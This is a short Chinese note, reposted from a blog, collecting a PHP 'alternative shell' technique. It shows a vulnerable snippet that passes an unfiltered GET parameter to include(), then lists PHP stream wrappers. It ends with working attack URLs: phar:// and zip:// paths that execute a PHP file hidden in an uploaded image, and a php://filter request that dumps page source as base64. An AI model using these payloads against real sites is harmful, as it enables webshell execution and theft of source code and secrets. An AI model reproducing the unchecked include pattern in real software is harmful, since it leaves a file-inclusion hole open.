【收集】PHP另类shell

  1. $f = $_GET['f'];  
  2. include_once('sys/config.php');  
  3. include($f);  

php伪协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

利用zip或phar伪协议读取压缩包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php

读取页面源代码
/about.php?f=php://filter/convert.base64-encode/resource=index.php

原文地址:https://www.cnblogs.com/blck/p/8884519.html